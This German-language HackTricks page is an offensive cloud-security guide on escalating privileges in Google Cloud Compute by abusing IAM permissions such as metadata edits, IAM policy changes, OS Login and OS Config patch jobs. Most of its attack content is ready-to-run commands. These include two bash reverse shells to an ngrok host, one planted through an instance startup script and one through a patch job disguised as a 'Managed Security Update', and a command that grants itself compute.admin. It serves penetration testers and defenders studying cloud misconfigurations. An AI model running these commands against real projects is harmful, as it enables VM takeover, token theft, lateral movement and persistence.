GCP - Compute Privesc

Reading time: 6 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Compute

Für weitere Informationen zu Compute und VPC (Netzwerk) in GCP siehe:

GCP - Compute Enum

caution

Beachte, dass du für die Durchführung aller Privilegieneskalationsangriffe, die eine Änderung der Metadaten der Instanz erfordern (wie das Hinzufügen neuer Benutzer und SSH-Schlüssel), actAs-Berechtigungen über das an die Instanz angehängte SA benötigst, selbst wenn das SA bereits angehängt ist!

compute.projects.setCommonInstanceMetadata

Mit dieser Berechtigung kannst du die Metadaten-Informationen einer Instanz ändern und die autorisierte Schlüssel eines Benutzers ändern oder einen neuen Benutzer mit sudo-Berechtigungen erstellen. Daher wirst du in der Lage sein, über SSH in jede VM-Instanz zu exec und das GCP-Servicekonto zu stehlen, mit dem die Instanz läuft.
Einschränkungen:

  • Beachte, dass GCP-Servicekonten, die standardmäßig in VM-Instanzen ausgeführt werden, einen sehr eingeschränkten Geltungsbereich haben
  • Du musst in der Lage sein, den SSH-Server zu kontaktieren, um dich anzumelden

Für weitere Informationen darüber, wie du diese Berechtigung ausnutzen kannst, siehe:

GCP - Add Custom SSH Metadata

Du könntest auch diesen Angriff durchführen, indem du ein neues Startup-Skript hinzufügst und die Instanz neu startest:

bash
gcloud compute instances add-metadata my-vm-instance \
--metadata startup-script='#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &'

gcloud compute instances reset my-vm-instance

compute.instances.setMetadata

Diese Berechtigung gewährt die gleichen Privilegien wie die vorherige Berechtigung, jedoch für spezifische Instanzen anstelle eines gesamten Projekts. Die gleichen Exploits und Einschränkungen wie im vorherigen Abschnitt gelten.

compute.instances.setIamPolicy

Diese Art von Berechtigung ermöglicht es Ihnen, sich selbst eine Rolle mit den vorherigen Berechtigungen zu gewähren und Privilegien durch deren Missbrauch zu eskalieren. Hier ist ein Beispiel, wie roles/compute.admin zu einem Dienstkonto hinzugefügt wird:

bash
export SERVER_SERVICE_ACCOUNT=YOUR_SA
export INSTANCE=YOUR_INSTANCE
export ZONE=YOUR_INSTANCE_ZONE

cat <<EOF > policy.json
bindings:
- members:
- serviceAccount:$SERVER_SERVICE_ACCOUNT
role: roles/compute.admin
version: 1
EOF

gcloud compute instances set-iam-policy $INSTANCE policy.json --zone=$ZONE

compute.instances.osLogin

Wenn OSLogin in der Instanz aktiviert ist, können Sie mit dieser Berechtigung einfach gcloud compute ssh [INSTANCE] ausführen und sich mit der Instanz verbinden. Sie werden keine Root-Rechte innerhalb der Instanz haben.

tip

Um sich erfolgreich mit dieser Berechtigung innerhalb der VM-Instanz anzumelden, müssen Sie die Berechtigung iam.serviceAccounts.actAs über das an die VM angehängte SA haben.

compute.instances.osAdminLogin

Wenn OSLogin in der Instanz aktiviert ist, können Sie mit dieser Berechtigung einfach gcloud compute ssh [INSTANCE] ausführen und sich mit der Instanz verbinden. Sie werden Root-Rechte innerhalb der Instanz haben.

tip

Um sich erfolgreich mit dieser Berechtigung innerhalb der VM-Instanz anzumelden, müssen Sie die Berechtigung iam.serviceAccounts.actAs über das an die VM angehängte SA haben.

compute.instances.create,iam.serviceAccounts.actAs, compute.disks.create, compute.instances.create, compute.instances.setMetadata, compute.instances.setServiceAccount, compute.subnetworks.use, compute.subnetworks.useExternalIp

Es ist möglich, eine virtuelle Maschine mit einem zugewiesenen Service-Konto zu erstellen und das Token des Service-Kontos zu stehlen, indem man auf die Metadaten zugreift, um die Berechtigungen zu eskalieren.

Das Exploit-Skript für diese Methode finden Sie hier.

osconfig.patchDeployments.create | osconfig.patchJobs.exec

Wenn Sie die Berechtigungen osconfig.patchDeployments.create oder osconfig.patchJobs.exec haben, können Sie einen Patch-Job oder eine Bereitstellung erstellen. Dies ermöglicht es Ihnen, lateral in der Umgebung zu bewegen und Codeausführung auf allen Compute-Instanzen innerhalb eines Projekts zu erlangen.

Beachten Sie, dass Sie im Moment keine actAs-Berechtigung über das an die Instanz angehängte SA benötigen.

Wenn Sie dies manuell ausnutzen möchten, müssen Sie entweder einen Patch-Job oder eine Bereitstellung** erstellen.**
Führen Sie für einen Patch-Job aus:

python
cat > /tmp/patch-job.sh <<EOF
#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18442 0>&1
EOF

gsutil cp /tmp/patch-job.sh gs://readable-bucket-by-sa-in-instance/patch-job.sh

# Get the generation number
gsutil ls -a gs://readable-bucket-by-sa-in-instance

gcloud --project=$PROJECT_ID compute os-config patch-jobs execute \
--instance-filter-names=zones/us-central1-a/instances/<instance-name> \
--pre-patch-linux-executable=gs://readable-bucket-by-sa-in-instance/patch-job.sh#<generation-number> \
--reboot-config=never \
--display-name="Managed Security Update" \
--duration=300s

Um ein Patch-Deployment bereitzustellen:

bash
gcloud compute os-config patch-deployments create <name> ...

Das Tool patchy konnte in der Vergangenheit für das Ausnutzen dieser Fehlkonfiguration verwendet werden (aber jetzt funktioniert es nicht mehr).

Ein Angreifer könnte dies auch für Persistenz ausnutzen.

compute.machineImages.setIamPolicy

Gewähren Sie sich zusätzliche Berechtigungen für das Compute-Image.

compute.snapshots.setIamPolicy

Gewähren Sie sich zusätzliche Berechtigungen für einen Festplattensnapshot.

compute.disks.setIamPolicy

Gewähren Sie sich zusätzliche Berechtigungen für eine Festplatte.

Umgehung von Zugriffsberechtigungen

Folgen Sie diesem Link, um einige Ideen zur Umgehung von Zugriffsberechtigungen zu finden.

Lokale Privilegieneskalation in GCP Compute-Instanz

GCP - local privilege escalation ssh pivoting

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks